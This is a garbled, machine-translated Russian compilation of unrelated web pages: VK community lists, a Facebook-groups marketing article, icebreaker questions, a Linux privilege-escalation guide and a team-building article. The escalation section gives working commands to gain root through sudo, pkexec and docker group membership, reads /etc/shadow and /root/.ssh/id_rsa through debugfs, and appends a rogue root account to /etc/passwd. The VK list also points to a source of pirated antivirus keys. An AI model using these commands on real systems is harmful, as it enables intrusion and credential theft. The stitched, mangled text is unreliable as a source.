В продолжение предшествующей категории: паблик с рецептами блюд, которые не навредят фигуре. Администраторы заверяют, что все рецепты авторские, а фотографии блюд — настоящие.

22. Cook it! — вкусные рецепты

Паблик с обычными рецептами, не только для худеющих. Его аудитория составляет более двух миллионов человек, а количество записей приближается к 60 тысячам, что позволяет говорить о Cook it! как об одной из самых популярных и полных книг рецептов «ВКонтакте». Для удобства в блоке «Информация» выведен специальный пункт «Поиск рецептов».

Разное

23. Freakbook

Каждый день Freakbook собирает интересные статьи на просторах русскоязычного интернета и предлагает их читателю с пометкой о времени, которое уйдёт на прочтение.

24. Newочём

Ещё один паблик, транслирующий лучшие материалы интернета, в этот раз — зарубежного. Администраторы предлагают подписчикам проголосовать в опросе за статью на английском языке, которую они хотели бы прочитать. Спустя некоторое время публикуется перевод статьи.

25. Лайфхакер

Ну и напоследок мы не могли не упомянуть про наш паблик. В сообществе транслируются статьи с сайта на разные темы, объединённые общей целью — делать жизнь читателя лучше.

Многие пользователи социальной сети ВКонтакте не могут найти действительно интересные паблики и группы в соцсети самостоятельно. И это не удивительно, ведь среди всего многообразия сообществ есть, как заслуживающие нашего внимания, так и те, которые не представляют из себя чего-нибудь по-настоящему стоящего. Для Вашего же удобства мы разделили Топ-50 лучших пабликов и групп в Контакте на пять категорий.

Полезная информация

1. Первым делом, хотели бы порекомендовать Вам сообщество, которое посвящено сайту ЯВконтакте. Именно в этом сообществе Вы сможете не только найти все самые свежие новости и секреты по соцсетям, но и задать свой вопрос, если Вам что-либо не понятно в работе социальной сети ВКонтакте, Одноклассниках, Твиттере и других.

http://vk.com/vkusersy

2. Интересные факты о странах мира. Это сообщество, в котором Вы ежедневно будете находить разнообразнейшие интересные факты со всей планеты.

http://vk.com/geofactsvk

3. Дамский клуб X-Emotion. Сообщество, которое посвящено прекрасной половине человечества. Делитесь секретами и получайте мудрые советы.

http://vk.com/xemotion

4. Men»s Corner — журнал для мужчин. Если Вы настоящий мужчина, значит Вам просто необходимо присоединиться к сообществу, которое собрало точно таких же как и Вы альфа-самцов.

http://vk.com/menscorner

5. Следующий паблик — интересные и великие люди. В нём Вы каждый день будете узнавать о людях, которые если и не изменили мир, то хотя бы сумели стать по-настоящему знаменитыми.

http://vk.com/interesnie_lydi

6. Универсальная Энциклопедия Знаний — группа в Контакте, в которой Вы сможете найти сотни интересных фактов и множество красочных фотографий. Посмотрите сами и расскажите своим друзьям о самых интересных местах на нашей планете!

http://vk.com/encyclopediaofknowledge

7. Энциклопедия бодибилдинга. Это сообщество посвящено построению красивого и сильного тела. Смотрите мотивирующие видеозаписи, фотографии атлетов и хвастайтесь своими собственными достижениями.

http://vk.com/club60884438

8. Мир автомобилей. Если Вы чувствуете себя в душе настоящим гонщиком, предлагаем Вам присоединится к паблику таких же, как и Вы. Оригинальные фотографии и записи на стене гарантированны!

http://vk.com/auto_publicker

9. Книга рецептов — открытая группа для всех, кто желает готовить вкусно и сытно. Если Вы всегда мечтали научиться великолепно готовить, милости просим. Вкусные рецепты каждый день!

http://vk.com/bookrecipe

10. Предлагаем Вам почитать книги бестселлеры, размещённые в соответствующем сообществе. Помните о том, что человек, который читает книги, всегда будет умнее того, кто смотрит телевизор.

http://vk.com/world_best_book
11. Начнём с большого и интересного одноименного паблика, который посвящен компьютерным и консольным играм. Если Вы считаете себя заядлым геймером, Вам здесь будет очень уютно!

http://vk.com/games

12. Новости компьютерных игр — паблик, в котором Вы найдёте все новости, касающиеся игрового мира. Множество скриншотов с различных игрушек, арты, обсуждения и видеоролики также присутствуют.

http://vk.com/cgame_news

13. Вам нравится игра The Elder Scrolls V: Skyrim, в которую только ленивый не играл? Что ж, тогда предлагаем Вам присоединиться к фанатам этой РПГ в социальной сети ВКонтакте.

http://vk.com/skyrimda

14. Dishonored — игра, которая пришлась по вкусу очень многим. Шпионская романтика, тени, убийства, заговоры, всё это Вы найдёте в игре. А в группе в Контакте сможете обсудить Dishonored и спросить совета у более опытных игроков.

http://vk.com/dishonored

15. Assassin»s Creed — сообщество для ценителей тихо и профессионально уничтожать людей. В игре, естественно.

http://vk.com/assassins_creed_2015

16. Манчкин — вторая по популярности настольная игра после монополии. Если Вы хотите поиграть во что-нибудь эдакое, предлагаем для начала присоединиться к соответствующему сообществу, чтобы подучить правила.

http://vk.com/munchkin

17. GTA 5 — это игра, которая перевернула игровой мир. Миллионы игроков никак не дождутся её выхода на персональный компьютер. Если Вы один из них, либо Вы везунчик, играющий в GTA 5 на приставке, присоединяйтесь к сообществу.

http://vk.com/gta_5_fan

18. Нравится постапокалиптика? Манит заброшенная Чернобыльская зона? Вступайте в группу и играйте в культовую игру, которая признана одной из самых ожидаемых за всю историю игр.

http://vk.com/stalker_planet

19. Need for Speed — игра, в которую уже играют более десяти лет, и которая не надоедает! Любите скорость и рев мотора? Смелее вступайте в сообщество, посвященное игре.

http://vk.com/nfsw_ru

20. РПГ Юмор всегда отличался своей оригинальностью. Если Вы любите этот жанр игр, предлагаем Вам вступить в паблик, который порадует весёлыми шутками и картинками.

http://vk.com/rpg_humor

Фильмы

21. Перед тем как смотреть фильмы, неплохо бы было знать, откуда и как их скачивать. Именно для этого и создано сообщество, которое посвящено очень удобной и полезной программе, под названием MediaGet.

http://vk.com/mediaget

22. Кто из нас не любит американские боевики? Наверное лишь тот, кто никогда их не смотрел. Предлагаем Вам посетить сообщество в Контакте, которое посвящено именно этому жанру фильмов.

http://vk.com/club302349

23. Молодежные комедии — это именно то, что мы так любим! За их юмор, нелепые ситуации и молодёжный задор. Присоединяйтесь и смотрите все новинки этого жанра!

http://vk.com/comedylove

24. Фантастические фильмы это почти всегда космос, инопланетные формы жизни и захватывающие приключения. Любите подобное? В Контакте есть группа, которая поможет Вам следить за фантастическими новинками.

http://vk.com/club11292596

25. Мелодрамы и романтические комедии, вопреки распространённому заблуждению, любят смотреть далеко не только девушки. Все новинки достаточно популярного жанра собраны в одной группе.

http://vk.com/romkomclub

26. Желаете всё знать? Тогда Вам не обойтись без документальных фильмов, которые в большом количестве представлены вот в этой открытой группе.

http://vk.com/dokumentalnoe.kino

27. Фильмами, а также мультфильмами времён Советского Союза Вы сможете наслаждаться в сообществе, которое именно этому жанру и посвящено.

http://vk.com/films.ussr

28. Нравится ковбойская романтика? Хотели бы оказаться на коне, с двумя пистолетами, грабя какой-нибудь дилижанс? Что ж, наслаждайтесь вестернами, которые в приличном количестве представлены в данном сообществе.

http://vk.com/club67980373

29. Если Вы предпочитаете фильмы ужасов, тогда Вы просто обязаны присоединиться к одноименной группе в Контакте. Следите за новинками, делитесь впечатлениями и бойтесь каждую ночь!

http://vk.com/cmpaxfilms

30. По историческим фильмам можно в очень увлекательном виде подтянуть историю в школе и институте. Да и просто смотреть на эти эпические битвы — сплошное удовольствие! Наслаждайтесь фильмами этого жанра вот в этом сообществе в Контакте.

http://vk.com/club213744

Софт

31. Список самых удобных и полезных программ и приложений мы бы хотели открыть пабликом, который посвящен интернет-браузеру Orbitum. Этот обозреватель создан специально для интеграции с самыми популярными соцсетями. В том числе и ВКонтакте.

http://vk.com/orbitum_browser

32. Халява App Store — это временно бесплатные приложения для iPhone и iPad. Если Вы счастливый обладатель этих популярных гаджетов, обязательно присоединитесь к этому сообществу. Вы сможете накачать для себя огромное множество интересных приложений и игр.

http://vk.com/appstore.game.iphone.ipad

33. Мята – это молодежный мобильный социальный интернет-журнал iOS/Android на просторах соцсети ВКонтакте.

http://vk.com/myatame

34. Любите устанавливать на свой компьютер полезные и интересные программы? Тогда рекомендуем Вам присоединиться к сообществу, которое именно этому и посвящено. Регулярные обновления!

http://vk.com/club41274496

35. Хотите, чтобы Ваш персональный компьютер или ноутбук был надёжно защищён? Тогда Вам обязательно следует установить антивирусную программу. А в этой группе Вы найдёте ключи для неё.

http://vk.com/security_pc

Новости

36. Любите быть в курсе новостей, которые преподносятся с экранов телевизоров и формируют Ваше мнение? Предлагаем Вам делать то же самое, но в Интернете. За российскими новостями во всей их красе Вы сможете следить в сообществе РИА Новости.

http://vk.com/ria

37. Проект LIVE — это самые свежие новости от команды соцсети ВКонтакте. И касаются они, конечно же, исключительно социальной сети.

http://vk.com/live

38. Euronews — новости со всего мира. Особенно уместны, если Вы хорошо понимаете английский язык.

http://vk.com/en.euronews

39. ТСН — телевизионная служба новостей в Украине. Если Вы житель именно этой страны, добавляйтесь в их сообщество в Контакте.

http://vk.com/tsnua

40. Тчк — то, что комментируют. Оригинальные фотографии с не менее оригинальными подписями. Всё, что касается мировой политики.

http://vk.com/za.tchk

Спорт

41. Большинство любит футбол! Чтобы следить за новостями и всеми матчами, подписывайтесь на паблик «Наш футбол».

http://vk.com/rfpltv

42. Хоккей — спорт для настоящих мужчин! Все фанаты хоккея собрались в одном месте в Контакте, в группе «Большая игра».

http://vk.com/bolshayaigra

43. Всё о баскетболе Вы найдёте в сообществе ВКонтакте, которое мы хотим представить Вашему вниманию.

http://vk.com/basketball_love

44. Американский футбол — это тот жёсткий вид спорта, который начал обретать всё большую популярность в России и странах бывшего СНГ. В этом сообществе Вы найдёте много нового и интересного по теме.

http://vk.com/yournfl

45. Не забывайте про волейбол! Весёлый и активный спорт, который любят и взрослые и дети. Всё об этом виде спорта Вы найдёте в сообществе, которое мы с радостью представляем Вашему вниманию.

http://vk.com/club25176770

46. Большой теннис — спорт не для слабаков. Предлагаем Вам присоединиться к соответствующему сообществу, чтобы всегда быть в курсе новостей.

http://vk.com/tennissss

47. Настольный теннис, как Вам наверняка известно, это весело, интересно и очень полезно. Вид спорта, который заслуживает Вашего внимания.

http://vk.com/club4682

48. Зрелищный бокс — потеха не для каждого. Особенно не для слабых духом. Но если Вы не слабонервная беременная женщина, тогда Вам наверняка будет интересно вступить в лучшую группу о боксе.

http://vk.com/allboxing

49. ВКручивай — паблик ВКонтакте про велосипедный спорт. Если Вы любитель погонять на своём железном коне, присоединяйтесь!

http://vk.com/hardcycling

50. Что может быть более зрелищным, чем ралли? Рёв мотора и огромная скорость поджидают Вас в сообществе Ралли Вятка!

http://vk.com/rally_vyatka

8 лучших групп Facebook, которые мы когда-либо видели

Группы Facebook не являются чем-то новым для мира маркетинга, но они предоставляют множество интересных возможностей для бизнеса.

Это отличное место для двустороннего общения между бизнесом и клиентами. А если группа является публичной, это отличное место для потенциальных клиентов, чтобы узнать о вашем бренде, продуктах, миссии и текущих клиентах.

В конечном счете, группы Facebook дают компаниям возможность взаимодействовать со своей аудиторией более значимым и достоверным способом, чем они когда-либо могли использовать свою страницу.

Вот восемь групп Facebook, которые сокрушают это, чтобы помочь вдохновить вашу будущую маркетинговую стратегию Facebook.

Цель этого списка — дать вам деловое и маркетинговое вдохновение, необходимое для создания, поддержания и управления Группой, которую любят ваши потенциальные и покупатели.

Специалисты по контент-маркетингу 1.HubSpot Academy

Участники: 27.1K

Группа специалистов по контент-маркетингу

HubSpot Academy является частной группой — это означает, что участники должны запросить участие в ней.Попав в группу, участники могут делиться идеями о проблемах с контентом и проектами, над которыми они работают, а также о том, как они используют или планируют использовать HubSpot, чтобы помочь им с этими проблемами и / или проектами.

Участники

могут поделиться подробностями о курсах, которые они прошли, и о том, как они применили извлеченные уроки к своим ролям в контент-маркетинге. Они также могут перечислить идеи для курсов, которые они хотели бы видеть в HubSpot Academy в будущем.

То, как организована эта группа, способствует формированию у клиентов и пользователей чувства общности, а также дает им возможность предоставить полезные отзывы и идеи о группе и / или обсуждаемом продукте.

2. Мгновенный горшок

Участники: 3M

Этот популярный бренд электрических плит использует свою Группу для создания пространства, где международное сообщество пользователей Instant Pot может задавать вопросы, публиковать уникальные рецепты и делиться радостью от приготовления своих продуктов.

Они также предлагают ограниченное устранение неисправностей в случае, если у клиентов возникнут проблемы или возникнут вопросы по конкретному продукту. Они редко когда-либо продвигают свои продукты внутри Группы, за исключением случайных розыгрышей, в которых участники могут участвовать, чтобы выиграть призы, которые можно использовать для своего Instant Pot.

3. Влиятельные женщины, National Geographic

Участники: 71.8K

Когда дело доходит до искусства вдохновлять и быть голосом за перемены, очень немногие делают это так же хорошо, как National Geographic. Эта группа, «Влиятельные женщины», фокусируется на «чествовании сил, формирующих мир», и призывает всех, кто увлечен тем, что женщины преодолевают барьеры в своих областях, присоединиться.

Издание использует группы Facebook для связи с членами своей аудитории таким образом, чтобы согласовывать их с проблемами и инициативами, которые их и этих членов аудитории глубоко волнуют.

4. Элемент

Участники: 115K

Elementor, плагин для создания страниц WordPress, имеет частную группу в Facebook, которая в среднем просматривает более 4400 сообщений в месяц. Группа существует для того, чтобы служить местом, где пользователи Elementor могут помочь друг другу научиться использовать конструктор страниц и ответить на любые вопросы или решить любые проблемы, с которыми они могут столкнуться.

Группой управляют волонтеры, что лишь подчеркивает тот факт, что Elementor использует сообщество не в рекламных целях, а скорее как место, где члены сообщества могут общаться, сотрудничать и поощрять друг друга, а также самообучаться.

5. Официальный член Peloton Страница

Участники: 430.2K

Официальная страница участника Peloton — это частная группа, в которой клиенты и пользователи могут собраться вместе, чтобы обсудить продукты Peloton, включая Bike, Tread и Digital. Он также служит центром, где эти клиенты и пользователи могут узнать о последних объявлениях Peloton, развертывании функций и обновлениях продуктов.

А когда дело доходит до упражнений, этот тип сети или группы представляет ценность для своих членов, поскольку они могут делиться друг с другом планами упражнений, приемами, расписаниями и методами обучения.

6. MobileMonkey

Участники: 44.0K

Группа

MobileMonkey ориентирована на конкретные продукты и предоставляет среду, в которой участники могут задавать вопросы и делиться знаниями о продуктах MobileMonkey для Instagram и Facebook Messenger, SMS и Chatbot Marketing.

В этой группе маркетологи в социальных сетях, входящие маркетологи, PPC-маркетологи, рекламодатели, предприниматели и многие другие могут обращаться друг к другу и к ресурсам, доступным в группе, чтобы определить наилучшие способы использования и решения проблем, связанных с основными продуктами MobileMonkey (в том числе -канальный чат-маркетинг для Messenger, нативный веб-чат, рекламная платформа Facebook и SMS-маркетинг).

7. Canva Design Circle

Участники: 145.1K

Canva Design Circle — это место, где участники могут узнать, как воспользоваться преимуществами продукта и его многочисленными функциями и возможностями в своей школе дизайна. В рамках группы пользователи Canva получают уведомления о последних обновлениях продуктов и советы и могут обсуждать любые темы, связанные с дизайном.

Canva поощряет новых участников группы представиться при вступлении. Это способствует возникновению чувства общности, доверия и принадлежности в тот момент, когда человек входит.Такой теплый прием приводит к большему количеству представлений среди других членов группы и разговоров о проектных работах, проектах, вакансиях, проблемах и т. Д.

8. Вкусно

Участники: 89,8 тыс.

Вкусные участники группы Facebook делятся рецептами, идеями заменителей и советами по приготовлению пищи. Группа способствует вовлечению, поощряя участников делиться своими рецептами, чтобы иметь шанс разместить этот рецепт на своем веб-сайте. Они также проводят опросы, связанные с кулинарией и выпечкой, на основе тенденций, сезона, праздников и т. Д.

Создавая эти конкурсы, поощрения и групповые мероприятия, компания стимулирует взаимодействие на странице — они побуждают участников взаимодействовать и общаться друг с другом, что способствует развитию чувства общности и духа товарищества среди поклонников Tasty.

Получите вдохновение для группы Facebook, которое вам нужно

Группа в Facebook может стать мощным способом создания сообщества вокруг вашего бренда, продукта или услуги. Именно здесь ваши потенциальные клиенты и клиенты могут связаться друг с другом и с вашим бизнесом — это сообщество, поддержка, доступ к самообразованию и узнаваемость бренда — эффективный способ укрепить лояльность и приятный клиентский опыт, который заставляет людей возвращаться.

Примечание редактора: этот пост был первоначально опубликован в марте 2020 года и был обновлен для полноты.

100 Знакомство с вами Вопросы

Ресурсы / Группы и клубы

Работаете с группой новых людей и нуждаетесь в разговоре? Разбейте лед и узнайте людей лучше, выбрав несколько из этих ознакомительных вопросов.

  1. Кто твой герой?
  2. Если бы вы могли жить где угодно, где бы это было?
  3. Чего вы больше всего боитесь?
  4. Какой ваш любимый семейный отдых?
  5. Что бы вы изменили в себе, если бы могли?
  6. Что вас действительно злит?
  7. Что побуждает вас усердно работать?
  8. Что вам больше всего нравится в вашей карьере?
  9. Какая ваша самая большая жалоба на вашу работу?
  10. Каким достижением вы больше всего гордитесь?
  11. Каким достижением вашего ребенка больше всего гордится?
  12. Какая ваша любимая книга для чтения?
  13. Что заставляет вас смеяться больше всего?
  14. Какой последний фильм вы смотрели? Ваше мнение?
  15. Кем вы хотели быть, когда были маленькими?
  16. Кем хочет быть ваш ребенок, когда вырастет?
  17. Если бы вы могли выбрать что-нибудь в течение дня, что бы это было?
  18. Какую игру или вид спорта вы любите смотреть и играть?
  19. Вы бы предпочли ездить на велосипеде, кататься на лошади или водить машину?
  20. Что бы вы спели на вечере караоке?
  21. Какие две радиостанции вы больше всего слушаете в машине?
  22. Что бы вы предпочли: мыть посуду, стричь газон, убирать в ванной или пылесосить дом?
  23. Если бы вы могли нанять кого-то, кто вам помогал бы, это было бы с уборкой, приготовлением пищи или работой во дворе?
  24. Если бы вы могли есть только один раз до конца своей жизни, что бы это было?
  25. Кто ваш любимый автор?

Время вечеринки! Организуйте свою группу с помощью онлайн-регистрации !


26.У тебя когда-нибудь было прозвище? Что это?
27. Вы любите или не любите сюрпризы? Почему или почему нет?
28. Вечером вы бы предпочли поиграть в игру, навестить родственника, посмотреть фильм или почитать?
29. Вы бы предпочли отдых на Гавайях или на Аляске и почему?
30. Вы бы предпочли выиграть в лотерею или работать на безупречной работе? И почему?
31. С кем бы вы хотели оказаться на необитаемом острове?
32. Если бы деньги не имели значения, чем бы вы занимались весь день?
33.Если бы вы могли вернуться в прошлое, в какой год вы бы отправились?
34. Как бы вас описали ваши друзья?
35. Чем вы увлекаетесь?
36. Какой лучший подарок тебе сделали?
37. Какой самый худший подарок ты получил?
38. Помимо самого необходимого, без чего бы вы не могли обойтись ни дня?
39. Перечислите две любимые мозоли.
40. Каким вы видите себя через пять лет?
41. Сколько пар обуви у вас есть?
42. Если бы вы были супергероем, какими бы способностями вы обладали?
43.Что бы вы сделали, если бы выиграли в лотерею?
44. Какой вид общественного транспорта вы предпочитаете? (воздух, лодка, поезд, автобус, автомобиль и т. д.)
45. Какое ваше любимое животное в зоопарке?
46. Если бы вы могли вернуться в прошлое и изменить что-то одно, что бы это было?
47. Если бы вы могли разделить трапезу с любыми четырьмя людьми, живыми или мертвыми, кем бы они были?
48. На скольких подушках ты спишь?
49. Как долго вы не спали (и почему)?
50. В каком самом высоком здании вы бывали?


Запланируйте семейный обед, корпоративный обед, командную вечеринку и многое другое. Начать работу


51. Вы бы предпочли обменять интеллект на внешний вид или внешний вид на интеллект?
52. Как часто вы покупаете одежду?
53. Был ли у вас когда-нибудь тайный поклонник?
54. Какой твой любимый праздник?
55. Какое самое смелое из твоих поступков?
56. Что вы в последний раз записывали по телевизору?
57. Какую последнюю книгу вы прочитали?
58. Какая ваша любимая иностранная еда?
59.Вы чистоплотный или грязный человек?
60. Кого бы вы хотели сыграть в фильме своей жизни?
61. Как долго ты собираешься утром?
62. Какой кухонной техникой вы пользуетесь каждый день?
63. Какая ваша любимая сеть быстрого питания?
64. Какой твой любимый семейный рецепт?
65. Вы любите или ненавидите американские горки?
66. Какая ваша любимая семейная традиция?
67. Какое ваше любимое воспоминание из детства?
68. Какой ваш любимый фильм?
69.Сколько вам было лет, когда вы узнали, что Санта не настоящий? Как вы узнали?
70. Ваш стакан наполовину полон или наполовину пуст?
71. Какой самый безумный поступок ты сделал во имя любви?
72. Какие три предмета вы бы взяли с собой на необитаемый остров?
73. Какой твой любимый предмет в школе?
74. Что самое необычное, что вы когда-либо ели?
75. Вы что-нибудь коллекционируете?


Групповой сбор средств никогда не был таким простым! Ознакомьтесь с нашими ресурсами по сбору средств .


76. Есть ли что-то, что вы хотели бы вернуть в моду?
77. Вы интроверт или экстраверт?
78. Какое из пяти чувств вы бы назвали самым сильным?
79. Вы когда-нибудь устраивали вечеринку-сюрприз? (это было настоящим сюрпризом)
80. Вы связаны или отдаленно связаны с кем-то известным?
81. Что вы делаете, чтобы поддерживать себя в форме?
82. Есть ли у вашей семьи «девиз» — устный или невысказанный?
83. Если бы вы были правителем своей страны, какой бы вы ввели первый закон?
84.Кто был вашим любимым учителем в школе и почему?
85. О каких трех вещах вы больше всего думаете каждый день?
86. Если бы у вас была предупреждающая этикетка, что бы вы сказали?
87. Какая песня, по вашему мнению, лучше всего описывает вас?
88. Какую знаменитость вы бы хотели встретить в Starbucks за чашкой кофе?
89. Кто был вашей первой любовью?


90. Что самое интересное можно увидеть из окна своего офиса или кухни?
91. Насколько вы забавны по шкале от 1 до 10?
92.Где ты видишь себя через 10 лет?
93. Какой была ваша первая работа?
94. Если бы вы могли присоединиться к какой-либо прошлой или нынешней музыкальной группе, к какой бы вы хотели присоединиться?
95. На скольких языках вы говорите?
96. Какая ваша любимая традиция семейного праздника?
97. Кто самый умный из всех, кого вы знаете?
98. Если бы вам пришлось описать себя как животное, какое бы это было?
99. Чего ты больше никогда не будешь делать?
100. Кто вас знает лучше всех?

Если вы действительно хотите с кем-то познакомиться, вопросы (не все сразу, конечно!) Подобны ключам, которые могут открыть множество дверей.Познакомьтесь с кем-нибудь получше сегодня!


Дженис Мередит пишет Jbmthinks, блог о спортивном воспитании детей и молодежном спорте. Проработав женой тренера 29 лет и спортивным родителем 21, она видит проблемы с обеих сторон скамейки.

Дополнительные вопросы для ознакомления:

50 Познакомьтесь с играми и ледоколами

50 забавных вопросов, чтобы узнать вас

Ознакомьтесь с вопросами для небольших групп

75 Ознакомьтесь с вопросами для клубов и групп

40 Познакомьтесь с вами Вопросы к собраниям компании



Интересные группы — Linux PE

Иногда , по умолчанию (или потому что это необходимо для некоторого программного обеспечения) внутри файла / etc / sudoers вы можете найти некоторые из этих строк:

 

% sudo ALL = ( ALL: ALL) ALL

% admin ALL = (ALL: ALL) ALL

Это означает, что любой пользователь, принадлежащий к группе sudo или admin, может выполнять что угодно как sudo .

Если это так, чтобы стал пользователем root, вы можете просто выполнить :

Найдите все двоичные файлы suid и проверьте, есть ли двоичный файл Pkexec :

 

find / -perm -4000 2> / dev / null

y pkexec является двоичным кодом SUID , и вы принадлежите к sudo или admin , вы, вероятно, могли бы выполнять двоичные файлы как sudo, используя pkexec . Это связано с тем, что обычно это группы внутри политики polkit .Эта политика в основном определяет, какие группы могут использовать pkexec . Проверьте это с помощью:

 

cat /etc/polkit-1/localauthority.conf.d/*

Там вы найдете, каким группам разрешено выполнять pkexec и по умолчанию на некоторых Linux-дисках группы Появляются sudo и admin .

Чтобы стать суперпользователем, вы можете выполнить :

Если вы попытаетесь выполнить pkexec и получите эту ошибку :

 

polkit-agent-helper-1: ответ об ошибке демону PolicyKit: GDBus.Ошибка: org.freedesktop.PolicyKit1.Error.Failed: Нет сеанса для файла cookie

==== AUTHENTICATION FAILED ===

Ошибка при выполнении команды от имени другого пользователя: не авторизован

Это не потому, что у вас нет разрешения, но потому что вы не подключены без GUI . И здесь есть способ решения этой проблемы: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. Вам нужно 2 разных сеанса ssh :

 

session1

echo $$

pkexec "/ bin / bash"

 

session2

pkttyagent --process 3

90 по умолчанию внутри файла / etc / sudoers вы можете найти эту строку:

Это означает, что любой пользователь, принадлежащий к группе wheel, может выполнять что угодно как sudo .

Если это так, чтобы стал пользователем root, вы можете просто выполнить :

Пользователи из group shadow могут прочитать файл / etc / shadow :

 

-rw-r --- - 1 root shadow 1824 26 апр, 19:10 / etc / shadow

Итак, прочтите файл и попробуйте взломать хэши .

Эта привилегия почти эквивалентна корневому доступу , поскольку вы можете получить доступ ко всем данным внутри машины.

Файлы: / dev / sd [az] [1-9]

 

df -h

debugfs / dev / sda1

debugfs: cd / root

debugfs: ls

debugfs: cat / root /.ssh / id_rsa

debugfs: cat / etc / shadow

Обратите внимание, что с помощью debugfs вы также можете записывать файлы . Например, чтобы скопировать /tmp/asd1.txt в /tmp/asd2.txt , вы можете сделать:

 

debugfs -w / dev / sda1

debugfs: dump /tmp/asd1.txt / tmp / asd2 .txt

Однако, если вы попытаетесь записать файлы, принадлежащие root (например, / etc / shadow или / etc / passwd ), вы получите ошибку « Permission denied ».

Используя команду w , вы можете найти , который вошел в систему , и он покажет следующий вывод:

 

yossi tty1 22:16 5: 13m 0,05s 0,04s -bash

moshe pts / 1 10.10.14.44 02:53 24:07 0,06 с 0,06 с / bin / bash

tty1 означает, что пользователь yossi физически зарегистрирован на терминале на машине.

Группа видео имеет доступ для просмотра вывода на экран.В основном вы можете наблюдать за экранами. Для этого вам нужно захватить текущее изображение на экране в необработанных данных и получить разрешение, которое использует экран. Данные экрана можно сохранить в / dev / fb0 , и вы можете найти разрешение этого экрана в / sys / class / graphics / fb0 / virtual_size

 

cat / dev / fb0> /tmp/screen.raw

cat / sys / class / graphics / fb0 / virtual_size

Чтобы открыть необработанное изображение , вы можете использовать GIMP , выберите экран .raw и выберите в качестве типа файла Необработанные данные изображения :

Затем измените ширину и высоту на те, которые используются на экране, и отметьте различные типы изображений (и выберите тот, который лучше отображает экран):

Похоже, что по умолчанию членов корневой группы могут иметь доступ к модификации , некоторым файлам конфигурации службы или некоторым файлам библиотек или другим интересным вещам , которые можно использовать для повышения привилегий…

Проверьте, какие файлы корневые члены могут изменять :

 

find / -group root -perm -g = w 2> / dev / null

Вы можете смонтировать корневую файловую систему хост-машины на том экземпляра , поэтому, когда экземпляр запускается, он немедленно загружает chroot в этот том. Это эффективно дает вам root-доступ на машине.

 

образ докера

docker run -it --rm -v /: / mnt chroot / mnt bash

echo 'toor: $ 1 $.ZcF5ts0 $ i4k6rQYzeegUkacRCvfxC0: 0: 0: root: / root: / bin / sh '>> / etc / passwd

docker run --rm -it --pid = host --net = host --privileged - v /: / mnt chroot / mnt bashbash

Наконец, если вам не нравятся какие-либо из предыдущих предложений или они не работают по какой-либо причине (брандмауэр docker api?), вы всегда можете попробовать запустите привилегированный контейнер и выйдите из него , как описано здесь:

Если у вас есть разрешения на запись через сокет докера, прочтите этот пост о том, как повысить привилегии, злоупотребляя сокетом докера .

Обычно участников группы adm имеют разрешения на читать файлы журнала , расположенные внутри / var / log / . Поэтому, если вы скомпрометировали пользователя в этой группе, вам обязательно нужно просмотреть журналы и просмотреть журналы .

Внутри OpenBSD группа auth обычно может записывать в папки / etc / skey и / var / db / yubikey , если они используются. Этими разрешениями можно злоупотреблять с помощью следующего эксплойта для повышения привилегий с до root: https: // raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot

75 Безумно веселые командные мероприятия для работы в 2021 году

Вы не поверите, но увлекательные мероприятия по построению команды для работы критически важны для успеха вашего бизнеса.

Фактически, личные связи, сформированные между членами команды, на самом деле дают вашей компании конкурентное преимущество.

Как это работает?

Все дело в вовлечении.Существует довольно четкая связь между личными связями между членами вашей команды и уровнем их вовлеченности. Недавнее исследование Gallup показало, что близкая рабочая дружба повышает удовлетворенность сотрудников на 50%, в то время как у людей, которые называют себя лучшими друзьями на работе, в семь раз больше шансов быть полностью вовлеченными в работу.

Не верите? Для сравнения, генеральный директор и эксперт по взаимодействию Джейсон Назар объясняет, почему это так и как он это делает, в этом клипе из подкаста Brand Builder.

Другое исследование Gallup показало, что вовлеченные компании постоянно превосходят конкурентов, когда речь идет о таких вещах, как прибыль, производительность и оборот.(Довольно важные вещи, если вы спросите нас.) И это понятно — чем ближе вы к своим коллегам, тем счастливее вы будете на работе и тем выше вероятность, что вы пожертвуете свое свободное время, чтобы помочь. им это удается.

И самое главное — мероприятия по тимбилдингу не обязательно должны быть скучными и отстойными!

Мы попросили The Assist, бесплатное еженедельное электронное письмо для профессионалов, а также некоторых из наиболее вовлеченных и сплоченных компаний, чтобы показать нам, как правильно строить команду.Мы разбили их на категории, чтобы помочь вам решить, какие идеи лучше всего подходят для вашей компании.

«Одна вещь, в которой мне очень помог Assist, — это поддержание культуры нашей компании во время этого нового перехода к гибридной работе. Для нас важно иметь команду, которая счастлива и здорова, и Assist предоставил массу возможностей, которые помогут сделать это возможным для нашей команды ». -Джули П. Исполнительный помощник, Classcraft

Содержание страницы (нажмите для перехода)

Тимбилдинг для работы: малые группы

Когда у вас есть небольшая группа из 10 или менее членов команды, у вас в значительной степени есть свой выбор действий по построению команды.У вас достаточно людей, чтобы сделать гибридные командные мероприятия и соревнования увлекательными, но у вас также не так много людей, чтобы вы не могли заняться чем-то более сложным. Вы можете делать что угодно и при этом быть уверены, что каждый испытывает самые важные элементы построения команды, включая общение, сотрудничество и дух товарищества.

1) Танк с акулами

«Узнайте, действительно ли у ваших идей есть зубы».

Идеи — это весело.Людям нравится их иметь. Им нравится их слышать. Они любят делиться ими.

Это занятие, вдохновленное телесериалом Shark Tank, позволяет небольшой группе людей делать все вышеперечисленное во время праздничной питч-сессии. Есть только одно абсолютное правило: каждый должен подготовиться к тому, чтобы все остальные были так же воодушевлены своей гениальной идеей, как и они сами. (Что они используют для возбуждения этого азарта — презентации, модели, диаграммы, фигурки, скетчи и т. Д. — полностью зависит от них.)

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, коммуникация, стратегическое мышление и умение слушать.

Почему нам это нравится: Каждая представленная идея приведет к чему-то положительному. Тщательно спланированные идеи будут вдохновлять и могут даже превратиться в жизнеспособные продукты и инициативы. Возмутительные идеи вызовут много смеха, но, честно говоря, даже они могут привести к следующей большой инновации вашей компании.

Следующий шаг, чтобы начать работу: Создайте месиво для акул, назначьте несколько акул-инвесторов, начните готовить презентации и приготовьте руки для аплодисментов к большому событию.

Pro-Tip: Вашей команде нужно больше, чем аплодисменты, чтобы подтвердить свою идею на миллион долларов? Используйте такую ​​платформу, как Bonusly, чтобы повышать ставки и вкладывать очки общественного признания в команду-победительницу, которые можно обменять на реальные награды:

2) Охота за мусором

«Самое близкое, что вы когда-либо могли найти в охоте за сокровищами».

